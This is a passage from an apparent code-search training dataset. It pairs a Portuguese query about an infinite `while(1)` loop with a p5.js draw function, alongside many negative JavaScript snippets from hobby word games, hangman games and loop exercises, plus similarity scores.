document.getElementById(\\\"guess\\\").select();\\n wordWrapper.classList.remove(\\\"vis-hidden\\\");\\n }\",\n \"function newGame() {\\n gameStart = true\\n clearOut();\\n ransomdomize();\\n createSpan();\\n \\n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\\n \\n}\",\n \"function clock() {\\n timeElapsed = timeElapsed + letterTime;\\n if (!flipped) {\\n lettersShow = lettersShow + 1;\\n flipped = (lettersShow >= currentWord.length)\\n }else{\\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\\n lettersShow = lettersShow - 1;\\n \\n if (lettersShow == 0) {\\n flipped = false;\\n timeElapsed = 0;\\n changeWord();\\n }\\n }\\n }\\n\\n $('#anim-text').text(function(i,t) {\\n return currentWord.substr(0,lettersShow);\\n })\\n }\",\n \"function printToPage(randomWord) {\\n myWord = randomWord.word;\\n // concatenate array to Str for printing on one line\\n var myStr = '';\\n console.log(myWord);\\n for (var i = 0; i < myWord.length; i++){\\n if (correctGuesses.includes(myWord[i])) {\\n myStr += (\\\" \\\" + myWord[i] + \\\" \\\");\\n }\\n else {\\n myStr += (\\\" _ \\\");\\n }\\n };\\n console.log('\\\\n' + myStr + '\\\\n');\\n if (correctGuesses.length == myWord.length) {\\n console.log(\\\"GG bro\\\");\\n }\\n else {\\n promptUser();\\n };\\n \\n}\",\n \"function draw() {\\n if (lives <= 0) {\\n ctx.clearRect(0, 0, canvas.width, canvas.height);\\n ctx.font = \\\"60px Arial\\\";\\n ctx.fillStyle = \\\"red\\\";\\n ctx.fillText(\\\"Game Over\\\", position, canvas.height / 2);\\n return;\\n }\\n\\n /* user type in the word that is being display */\\n\\n let typeWord = wordInput.value.toLowerCase();\\n ctx.clearRect(0, 0, 400, 400);\\n movingBackground();\\n wordFalls();\\n score();\\n lifeLine();\\n if (typeWord === wordArr[randomIndex]) {\\n projectile();\\n }\\n window.requestAnimationFrame(draw);\\n }\",\n \"function renderGame() {\\n // If there are still more words in the array, set the display and write it to the page\\n if (currentIndex <= (secretWords.length - 1)) {\\n secretWord = secretWords[currentIndex];\\n display = repeatChar(secretWord.length, '_');\\n tries = 0;\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Guess the bread: \\\" + display;\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n // If the supply of breads has been exhausted, render the end game screen.\\n else {\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Game Over!\\\";\\n document.querySelector(\\\"#results\\\").innerHTML = \\\"Refresh the page to play again.\\\";\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n}\",\n \"function showWord(words){\\n\\n //Generate randow array index\\n const randIndex = Math.floor(Math.random() *words.length);\\n //Output random word\\n currentWord.innerHTML=words[randIndex];\\n}\",\n \"function game() {\\n //hide words\\n //$(\\\".fiveWords\\\").hide(); //removed because the letters need to show when new game starts\\n \\n //move words --alec\\n myMove(\\\"1\\\");\\n myMove(\\\"2\\\");\\n myMove(\\\"3\\\");\\n myMove(\\\"4\\\");\\n myMove(\\\"5\\\");\\n \\n}\",\n \"function displayEndScreen() {\\n //display image\\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\\n //Set text size in push-pop\\n push();\\n textSize(19);\\n //If player hits zero kids, display this\\n if (player.sentence === 0) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours and you did it \\\\nwithout bumping into children! \\\\nAmazing job, Hieronymous! Back to \\\\nloitering!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n //If player hits less than three kids, display this\\n } else if (player.sentence < 107) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours \\\\nand you only added \\\" + player.sentence + \\\" days \\\\n to your community service!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n } else {\\n //otherwise, display this message\\n text(\\\"It took you \\\" + player.timeSpent + \\\" hours... \\\\n...but holy crap Hieronymous you added \\\" + player.sentence + \\\" days \\\\nto your community service. Embarrassing.\\\", 0 + windowWidth / 20, windowWidth / 5);\\n }\\n pop();\\n\\n}\",\n \"function drawGame(word, letters) {\\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\\n}\",\n \"function showNewWord(){\\n// document.getElementById(\\\"wordToType\\\").innerHTML=\\\" \\\";\\n $(\\\"#wordBox\\\").val(\\\"\\\");\\n// $(\\\"#wordToType\\\").html(words[index][0]);\\n if (words.length === alreadyUsed.length){\\n endGame();\\n }\\n console.log(\\\"choosing word\\\");\\n chooseWord();\\n document.getElementById(\\\"wordToType\\\").innerHTML= words[index][0];\\n\\n }\",\n \"function startGame(){\\r\\n\\t \\r\\n\\t let dumDumDum = [];\\r\\n\\t for( iii=0; iii < randomWord.length ; iii++){\\t\\t\\t\\r\\n\\t\\t\\tdumDumDum.push(\\\"_\\\");\\r\\n\\t } \\r\\n\\t// Change the game textcontents to starting values\\r\\n\\tdocument.querySelector(\\\".the_word\\\").innerHTML =\\\"The word: \\\"+dumDumDum+\\\" \\\";\\r\\n\\tdocument.querySelector(\\\".guesses\\\").innerHTML =\\\"Guesses: \\\";\\r\\n\\tdocument.querySelector(\\\".guesses_left\\\").innerHTML =\\\"Wrong guesses left: \\\"+livesLeft+\\\" \\\"; \\t \\r\\n }\",\n \"drawSecretWord() {\\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\\n for (let i = 0; i < GAME.secretWord.length; i++) {\\n const element = GAME.secretWord[i];\\n if(str_replace(from,to,element) === PLAYER.guess) {\\n PLAYER.guessStatus = true\\n GAME.answerArray[i] = element\\n }\\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\\n ctx.beginPath()\\n ctx.font = \\\"32px calibri\\\"\\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\\n ctx.closePath()\\n }\\n }\",\n \"function displayGameOver() {\\n push();\\n textAlign(CENTER,CENTER);\\n textSize(60);\\n fill(0,0,0);\\n stroke(255,0,0);\\n textFont(fontGame);\\n text(\\\"Your artistic experience is terminated \\\\n sorry Warhol \\\\n \\\\n REFRESH to play again :)\\\",width/2,height/2);\\n pop();\\n}\",\n \"function startGame() {\\n // Randomly selecting a word from our array\\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\\n // creating a new word object with the random word\\n wordConstructed = new Word(wordUsedForGame);\\n // calling the renderWord function to push the letters into the word\\n wordConstructed.renderWord();\\n\\n console.log(\\\"\\\\n\\\");\\n console.log(\\\"Guess The Word. You have 7 chances to get it Right!!!\\\");\\n console.log(\\\" Hint: The Words are computer Languages \\\\n\\\");\\n\\n // Displaying the dashes based on the word selected using the Word display function \\n // they will be dashes because the guessed is set to false\\n console.log(wordConstructed.display());\\n console.log(\\\"\\\\n\\\");\\n\\n // calling askLetters to run the game\\n askLetters();\\n\\n\\n}\",\n \"function startGame() {\\n wrongGuesses = ' ';\\n allGuesses = \\\"\\\";\\n currentDisplay = [];\\n //Randomly selects a word from the array wordList\\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \\n // Put the selected word into an array\\n word = wordString.split(''); \\n guessRemain = wordString.length; \\n for (var i = 0; i < guessRemain; i++){\\n currentDisplay[i] = \\\"_\\\"; \\n //displays the game\\n }\\n displayGame(); \\n }\",\n \"function startGame() {\\n renderNewWord();\\n startBar();\\n }\",\n \"function wordplay() {\\n librarycall()\\n play = new Word(choice);\\n plays = 10\\n alphaArr = [\\\"a\\\", \\\"b\\\", \\\"c\\\", \\\"d\\\", \\\"e\\\", \\\"f\\\", \\\"g\\\", \\\"h\\\", \\\"i\\\", \\\"j\\\", \\\"k\\\", \\\"l\\\", \\\"m\\\", \\\"n\\\", \\\"o\\\", \\\"p\\\", \\\"q\\\", \\\"r\\\", \\\"s\\\", \\\"t\\\", \\\"u\\\", \\\"v\\\", \\\"w\\\", \\\"x\\\", \\\"y\\\", \\\"z\\\"]\\n omegaArr = []\\n console.log(play.fullDisplay());\\n console.log(\\\"Tries left = \\\" + plays);\\n testletter()\\n}\",\n \"function stepWord() {\\n word++;\\n syllable = 0;\\n process.stdout.write(\\\" \\\");\\n}\",\n \"function start()\\n{\\ndocument.getElementById(\\\"two\\\").style.marginTop=\\\"20%\\\";\\n\\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\\n\\ndocument.getElementById(\\\"two\\\").innerHTML =obj.spellings[x].word;\\n\\nsetInterval(function() {game()},4000); // changing word after every 3 se....\\n}\",\n \"function endLose(word) {\\n console.log(\\\"You lose. The word was:\\\");\\n showWord(word);\\n}\",\n \"function draw() {\\n\\n noStroke();\\n fill(255);\\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \\n // i MEANS THE FIRST LETTER OF THE sentence \\n\\n for (let i = 0; i < words.length; i++) {\\n // appearing over time...\\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \\n\\n if (frameCount > i * 100) {\\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \\n \\n if (i > 0) {\\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\\n }\\n fill(255);\\n text(words[i], wordMarginLeft + extraSpace, 20);\\n }\\n }\\n \\n \\n}\",\n \"function drawHangman() {\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"currentWord\\\").innerText = \\\"\\\";\\n\\n for (let i = 0; i < guessingWord.length; i++) {\\n document.getElementById(\\\"currentWord\\\").innerText += guessingWord[i];\\n }\\n document.getElementById(\\\"remainingGuesses\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n if (remainingGuesses <= 0) {\\n document.getElementById(\\\"gameover-image\\\").style.cssText = \\\"display: block\\\";\\n document.getElementById(\\\"pressKeyTryAgain\\\").style.cssText =\\n \\\"display: block\\\";\\n hasFinished = true;\\n }\\n}\",\n \"function gameStart() {\\n resetCounters();\\n generateRandomWord();\\n hideTheWord(); \\n document.getElementById(\\\"guesses\\\").innerHTML = guessesLeft;\\n // Make variable to track letters to be guessed\\n var lettersLeft = randWord.length;\\n console.log(randWord);\\n\\n setupKeyLogging();\\n \\n document.getElementById(\\\"wins\\\").innerHTML = wins;\\n \\n \\n\\n\\n removeHandler(); \\n}\",\n \"function writeWord(){\\n var letterOrDash = \\\"\\\";\\n var allLettersGuessed = true;\\n\\n for(var i=0; i `\\n \\n ${correctLetters.includes(letter) ? letter : '' }\\n \\n `\\n )\\n .join('')\\n }\\n `;\\n // TO check -> console.log(word.innerText);\\n // To chack -> console.log(wordText);\\n const wordText = word.innerText.replace(/\\\\n/g, '');\\n if(wordText === selectedWord) {\\n message.innerText = 'You Won!';\\n popup.style.display = 'flex';\\n }\\n}\",\n \"function renderEndGameText() {\\n gameBackground.zIndex = 45;\\n sortZindex(gameScreen);\\n longBoard.visible = true;\\n endText.visible = true;\\n endText.speed = END_TEXT_SPEED;\\n endGameSelected = true;\\n}\",\n \"function displayWord() {\\n wordElement.innerHTML = \\n `${selectedWord\\n .split('')\\n .map(letter =>\\n `\\n ${correctLetters.includes(letter) ? letter : ''}\\n `\\n ).join('')}`;\\n \\n //console.log(wordElement.innerText);\\n \\n //Remove New Line Character \\n const innerWord = wordElement.innerText.replace(/\\\\n/g, '')\\n //console.log(innerWord); \\n\\n if (innerWord === selectedWord) {\\n finalMessage.innerText = 'You Won!';\\n popUp.style.display = 'flex';\\n }\\n}\",\n \"function displayWord(array){\\n word = array[Math.floor(Math.random() * array.length)];\\n var display = document.getElementById(\\\"display\\\");\\n display.innerText = word;\\n}\",\n \"function gameOver() {\\n background(0);\\n fill(255, 0, 0);\\n textFont(myFont, 80);\\n textAlign(CENTER);\\n text(\\\"LOSER\\\", 400, 200);\\n textSize(32);\\n text(\\\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\\\", 400, 270);\\n text(\\\"YOU HAVE DONE THE WRONG THING!\\\", 400, 285);\\n text(\\\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\\\", 400, 300);\\n text(\\\" TO THE DYING PERSON FIRST.\\\", 400, 315);\\n text(\\\"BETTER LUCK NEXT TIME.\\\", 400, 330);\\n textSize(40);\\n text(\\\"REFRESH THE PAGE TO PLAY AGAIN\\\", 400, 485);\\n}\",\n \"startGame() {\\r\\n $(\\\"#overlay\\\").hide();\\r\\n this.activePhrase = this.getRandomPhrase();\\r\\n this.activePhrase.addPhraseToDisplay();\\r\\n }\",\n \"function showTheWord() {\\n // get random word then store it in the global var theWord\\n theWord = getRandomWord().split(''); // make it into array\\n\\n // place underscore referencing the number of letters\\n for (var i = 0; i < theWord.length; i++) {\\n $(\\\"#letterHolder\\\").append($(\\\"_\\\"));\\n }\\n }\",\n \"function showGameOver() {\\n gameSound.pause();\\n textSize(60);\\n textAlign(CENTER,CENTER);\\n fill(243,231,45);\\n var gameOverText = \\\"GAME OVER\\\\n\\\";\\n gameOverText += \\\"You caught \\\" + snitchEaten + \\\" snitch\\\\n\\\";\\n gameOverText += \\\"before you died.\\\"\\n text(gameOverText,width/2,height/2);\\n}\",\n \"function startGame()\\n{\\n\\t//selects random word\\n\\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\\n\\ttargetWordArray = targetWord.split(\\\"\\\");\\n\\t//transforms word to an array of dashes\\n\\tfor(i=0; i=10) {\\n wordz+=\\\"\\\\n YOU WIN\\\";\\n\\n} else {\\n wordz+=\\\"\\\\n YOU LOSE\\\";\\n}\\n words = wordz;\\n}\",\n \"function newWord(){\\n var wordBank = [\\\"susie\\\", \\\"transmogrifier\\\", \\\"spacemanspiff\\\",\\\"gross\\\", \\\"calvinball\\\", \\\"stupendousman\\\", \\\"tracerbullet\\\", \\\"toboggan\\\", \\\"duplicator\\\", \\\"misswormwood\\\", \\\"hamsterhuey\\\", \\\"gooeykablooie\\\"];\\n console.log(wordIndex)\\n console.log(wordBank.length)\\n if(wordIndex >= wordBank.length){\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n updateField(\\\"message-text\\\", \\\"Aww shucks, we're all out of words
You got \\\"+wins+\\\" out of \\\"+wordBank.length+\\\" right!\\\");\\n return;\\n }\\n currentWord=wordBank[wordIndex];\\n wordDisplay.innerHTML = createDisplay(currentWord);\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n //upddate message board\\n updateField(\\\"message-text\\\", \\\"Next Word!\\\")\\n //resetting parameters\\n guessedArray = [\\\"\\\"];\\n updateLettersGuessedField();\\n guessesLeft = 6\\n updateField(\\\"guesses-left\\\",guessesLeft);\\n lettersCorrect = 0;\\n //reset stopGame\\n stopGame = false; \\n}\",\n \"function wordGame(){\\n\\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\\n \\n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\\n \\n letters=[\\\"A\\\",\\\"B\\\",\\\"C\\\",\\\"D\\\",\\\"E\\\",\\\"F\\\",\\\"G\\\",\\\"H\\\",\\\"I\\\",\\\"J\\\",\\\"K\\\",\\\"L\\\",\\\"M\\\",\\\"N\\\",\\\"Ñ\\\",\\\"O\\\",\\\"P\\\",\\\"Q\\\",\\\"R\\\",\\\"S\\\",\\\"T\\\",\\\"U\\\",\\\"V\\\",\\\"W\\\",\\\"X\\\",\\\"Y\\\",\\\"Z\\\"]\\n\\n for(let i=0;i';\\n document.getElementById(\\\"letter\\\" + i).innerHTML = \\\"_ \\\";\\n }\\n return randomWord;\\n}\"\n]"},"negative_scores":{"kind":"list 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\"0.66466266\",\n \"0.6637581\",\n \"0.6634507\",\n \"0.66265446\",\n \"0.66251063\",\n \"0.6612768\",\n \"0.66101176\",\n \"0.66087776\",\n \"0.66068274\",\n \"0.6602084\",\n \"0.65974504\",\n \"0.6594455\",\n \"0.65825164\",\n \"0.6578371\",\n \"0.65782714\",\n \"0.65733844\",\n \"0.6572039\",\n \"0.65711343\",\n \"0.6570692\",\n \"0.65695727\",\n \"0.656581\",\n \"0.6565796\",\n \"0.6553978\",\n \"0.65452373\",\n \"0.65439034\",\n \"0.65426886\",\n \"0.65384567\",\n \"0.6532182\",\n \"0.6526582\",\n \"0.65257335\",\n \"0.6515874\",\n \"0.65133\",\n \"0.65033925\",\n \"0.6503321\",\n \"0.64992535\",\n \"0.64943904\",\n \"0.64875805\",\n \"0.6487421\",\n \"0.6485651\",\n \"0.6470109\",\n \"0.64676327\",\n \"0.6467127\"\n]"},"document_score":{"kind":"string","value":"0.6786421"},"document_rank":{"kind":"string","value":"34"}}},{"rowIdx":13,"cells":{"query":{"kind":"string","value":"Desenha LOOP Infinito while (1)"},"document":{"kind":"string","value":"function draw() {\n background(0,0,0);\n vitorioso();\n if(!(placarPlayerUm >= 10 || placarPlayerDois >=10)){\n jogo();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function loopInfinito() {\n while (true) { }\n}","function loop() {\r\n}","function loop() {\r\n // if (is_loop) {\r\n setTimeout(manage_loop, manager.interval);\r\n // is_loop = false;\r\n // }\r\n }","function cambiarEstiloAuto() {\n let contador = 0;\n while(contador < 10){\n cambiarEstilo();\n contador++;\n }\n}","loop() {}","loop() {}","function infinteLoop() {\n while (true) {\n }\n}","function executarLooping() {\n moverFundo()\n moverHelicopteroInimigo()\n moverCaminhao()\n moverJogador()\n moverAliado()\n detectarColisoes()\n mostrarPlacar()\n atualizarEnergia()\n}","function infiniteLoop() {\n while (true) {\n console.log('loop');\n }\n }","function jogar(){\r\n //o jogo continuará até que alguém destrua completamente os navios do adversário\r\n //testa após cada jogada se o número de pontos foi atingido\r\n while (true){\r\n jogadorJoga();\r\n console.log(\"O computador tem \"+naviosComputador);\r\n if (pontosJogador == naviosComputador){\r\n console.log(nome+\" ganhou! Parabéns!\");\r\n break;\r\n }\r\n else {\r\n computadorJoga();\r\n if (pontosComputador == naviosJogador){\r\n console.log(\"Computador ganhou! Tente novamente, \"+nome);\r\n break;\r\n }\r\n };\r\n }\r\n}","function loop() {\n moveFundo();\n moveJogador();\n moveInimigo1();\n moveInimigo2();\n moveInimigo3();\n moveInimigo4();\n moveEstrela();\n colisao();\n placar();\n energia();\n }","noLoop() {\r\n\t\t\tthis.looping = false;\r\n\t\t}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function cambio(){\n\n\t// for(var i=0; i<10; i++){\n\t// \tconsole.debug('hola '+i);\n\t// }\n\tvar i=0;\n\twhile(i<10){\n\t\tconsole.debug('hola '+i);\n\t\ti++;\n\t}\n}","function contadorWhile1() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Enquanto o valor (contador) for menor que 5\n while (contador <= 5) {\n\n // Mostra o valor na tela\n document.querySelector('#contadorW1').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n // contador = contador + 1;\n // contador += 1;\n }\n}","function whileLoop(n){\nwhile ( 0 < n ){\n console.log(--n);\n}\nif (n <= 1 ){\nreturn 'done';\n }\n}","function cicloWhile() {\n\n while (confirm(\"Desea Continuar?\")) {\n alert(\"THis is a cycle while\")\n }\n}","function startLoop() {\n\tisrunnning = true;\n}","function doWhileLoop(x)\n{\n x--;\n do \n {\n console.log(\"I run once regardless\");\n } while(x-- > 0);\n}","function infiniteLoop() {\r\n while (true) {\r\n }\r\n}","function main(){\r\n\tcur_t = 0\r\n\tkill_step = poisson(kill_step);\r\n\tcount_step = 0;\r\n\t//do {\r\n\tvar times = setInterval(function(){\r\n\t\tif (cur_t == steps) clearInterval(times);\r\n\r\n\t\tvar temp = couple_logistic_possison(pop, params, steps);\r\n\t\tif (count_step == kill_step){\r\n\t\t\tcata(kill_percentage, pop);\r\n\t\t\tkill_step = poisson(kill_step);\r\n\t\t\tcount_step = 0;\r\n\t\t}\r\n\r\n\t\tshow_graphics(temp);\r\n\r\n\t\tcur_t += 1;\r\n\t\tcount_step += 1;\r\n\t\treturn temp;\r\n\t\t}, 35);\r\n\t//} while (cur_t < steps)\t\r\n}","function mainLoop( ) {\n\n\n let segundos = 5;\n let tiempo = segundos * 1000;\n\n\n console.log('Intervalo de '+ segundos );\n console.log('Perioodo: ');\n\n\n REALTIME.actualizarREALTIME( );\n\n setInterval((tiempo) => {\n console.log('-------------------------------------------------------');\n console.log('Intervalo de REALTIME '+ segundos );\n console.log('PERIODO');\n REALTIME.actualizarREALTIME( );\n }, tiempo )\n\n}","function loopForever() {\n while (true) { }\n}","function checkLoop() {\n if (config.loopState) {\n loop();\n } else {\n noLoop();\n }\n }","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function contadorWhile2() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Guarda o número informado na tela\n const numeroInformado = document.querySelector('#numInformadoW2').value;\n\n // Enquanto o contador for menor que o número informado na tela\n while (contador <= numeroInformado) {\n // Mostra o valor na tela\n document.querySelector('#contadorW2').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n }\n}","function loopDetect() {\n \n}","loop() {\n let stop = false;\n while (!stop) {\n //Creates a thread for every single agent\n Object.values(this.agents).forEach(agent => {\n if (!this.problem.goalTest(this.data)) {\n // aqui el agente recibe las persepciones\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\n //guarda el accion\n let action = agent.send();\n this.actions.push({ agentID: agent.getID(), action });\n //actuliza el problema\n this.problem.update(this.data, action, agent.getID());\n //mira si termino el problema\n if (this.problem.goalTest(this.data)) {\n stop = true;\n } else {\n if (this.callbacks.onTurn)\n //es un callback que muestra la posicion en la que esta callbacks\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\n }\n }\n });\n }\n this.finishAll();\n }","function hello(){\n\nlet angka = 1;\nwhile(angka <= 5){\nconsole.log(\"hai\" + \" \" + angka + \"x\");\nangka++;\n }\n}","function generalLoop(){\r\n\r\n\tif ((new Date()).getTime() - timeObj < 3 ) {\t\t\r\n\t\treturn;\t\t\r\n\t}//fi\r\n\tif (currentState == 3) {\r\n\t\tupdateDisplay();\r\n\t\ttimeObj = (new Date()).getTime();\r\n\t}//fi\r\n\r\n\t\r\n\r\n}//end listener\t","function intWhile (){\n var i = 2000;\n while (i <= 5280){\n console.log(i);\n i++;\n }\n}","function PrintI(){\n var num = 2000;\n while(num < 5281){\n console.log(num);\n num++;\n }\n}","function loops6 () {\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\n var i = 1;\n do {\n console.log(i);\n i++;\n } while (i < 1001);\n}","function testWhileLoop() {\n var counter = 0;\n while (counter <= 10) {\n console.log(counter);\n counter++;\n }\n}","function devilLoop(){\n GMvariables.devil = setInterval(() => {\n changePositionOfElement()\n if(GMvariables.live<1){\n deviElementHide();\n clearInterval(GMvariables.devil);\n }\n }, GMvariables.interval);\n // console.log(\"from loop = \" + interval);\n}","function get_data_loop()\r\n{\r\n if(!ansvers){\r\n \tget_data();\r\n \tansvers = 1;\r\n }\r\n \tsetTimeout(\"get_data_loop()\",10000);\r\n}","function infiniteLoop() {\n while (true) { }\n}","function whileLoop(x)\n{\n while (x>0)\n {\n console.log(x--);\n }\n \n return \"done\";\n}","function a2() {\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\n console.log(i); // Konsolenausgabe der lokalen Variable i.\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\n } while (i > 0); // Schleifenbedingung: \"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\"\n}","function loop() {\n if (!avatar.dead) {\n //obtener propiedades de elementos\n bcr.getBCR(playground, adventurer, ip, life);\n //aumentar distancia e imprimirla\n distCounter++;\n printDist(distCounter, previousDistance, dist);\n //salto personaje\n avatar.jumping(joystick, adventurer);\n //controlar que no pase del piso\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\n adventurer.style.top = avatar.y + \"px\";\n //chequear colisiones\n\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\n if (avatar.life > 0) {\n avatar.hurt(life);\n //console.log(avatar.life);\n myID = requestAnimationFrame(loop);\n } else {\n avatar.death(adventurer);\n ip.style.animationIterationCount = \"1\";\n if (distCounter > previousDistance) {\n previousDistance = distCounter;\n }\n front.style.background=\"url('../img/end.png')\";\n inicio.style.display = \"inline\";\n setTimeout(() => {\n front.style.display=\"inline\";\n }, 2000);\n cancelAnimationFrame(myID);\n }\n } else {\n if (bcr.impBCR.left < 145) {\n speed *= 0.99;\n ip.style.animation = \"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\";\n }\n myID = requestAnimationFrame(loop);\n }\n }\n }","function loops4 () {\n console.log('#5 Logging 1 to 1000 with a while loop: ');\n var i = 1;\n while (i < 1001) {\n console.log(i);\n i++;\n }\n}","function loop() {\n if( DateForCycle.getTime() < beginTime ) {\n\n \n bigDay ^= true;\n setDate(DateForCycle, function(){\n commit(function() {\n if(bigDay) {\n commit(setNextDay);\n } else {\n setNextDay();\n\n }\n })\n });\n } else {\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\n });\n\n }\n }","function whileDemo([n]) {\r\n let health = 100;\r\n while (health > 0) { // its not depend on counter\r\n \r\n // walk\r\n // take damage\r\n // headshot\r\n }\r\n}","_setupLoop () {\n this._time = 0\n this._loop()\n }","function startLoop() {\n\tconsole.log(maxi);\n\tconsole.log(index);\n if(index==maxi){\n return;\n }\n else{\n //setInterval(5000);\n setInterval( doSomething(), iFrequency ); // run\n startLoop();\n\t}\n\n }","function loop (n) {\n while (n > 0) {\n console.log(n)\n n--\n }\n}","startLoop () {\n\t this.loop = true;\n\n\t while (this.loop) {\n\t switch (this.state) {\n\t case GET_INFO:\n\t this.getInfo();\n\t break;\n\t case GET_PAYLOAD_LENGTH_16:\n\t this.getPayloadLength16();\n\t break;\n\t case GET_PAYLOAD_LENGTH_64:\n\t this.getPayloadLength64();\n\t break;\n\t case GET_MASK:\n\t this.getMask();\n\t break;\n\t case GET_DATA:\n\t this.getData();\n\t break;\n\t default: // `INFLATING`\n\t this.loop = false;\n\t }\n\t }\n\t }","function loop ( start, test, updt, body ) {\r\n let val = start;\r\n while (test(val)) {\r\n body (val)\r\n val = updt (val)\r\n } \r\n}","function stopLoop() {\n\tisrunnning = false;\n\tconsole.log('stop loop');\n}","function bannerLoop()\n\t{\n\t\tsetTimeout(showBanner, interval * 1000);\n\t}","function Inicio() {\n var bandera = true;\n\n while (bandera == true) {\n var respuesta = 0;\n\n //Mensajes de alerta para ingresar datos\n var nombre = prompt(\"Ingrese su nombre, por favor\");\n var edad = IngresoEdad(\"usted\");\n\n if (edad >= 18) {\n var casado = IngresoEstadoCivil();\n var edad_conyuge = 0;\n var numeroHijos = 0;\n valorPropiedad = 0;\n\n if (\"SI\" == casado.toUpperCase()) {\n edad_conyuge = IngresoEdad(\"su conyuge\");\n }\n\n if (TieneHijos()) {\n numeroHijos = CantidadHijos();\n }\n\n var salario = ValorSalario();\n var propiedad = IngresoPropiedad();\n\n debugger;\n\n if (\"SI\" == propiedad.toUpperCase()) {\n var valorPropiedad = ValorPropiedad();\n }\n } else {\n alert(\"La persona a asegurar tiene que ser mayor de edad\");\n }\n\n datos.push(\n new Registro(\n nombre,\n edad,\n casado,\n edad_conyuge,\n numeroHijos,\n salario,\n valorPropiedad\n )\n );\n\n bandera = Continuar();\n }\n\n for (let entry of datos) {\n var recargo_total = CalculoRecargo(entry);\n var total = precio_base + recargo_total;\n alert(\"Para el asegurado \" + entry.nombre);\n alert(\"El recargo total sera de: \" + recargo_total);\n alert(\"El 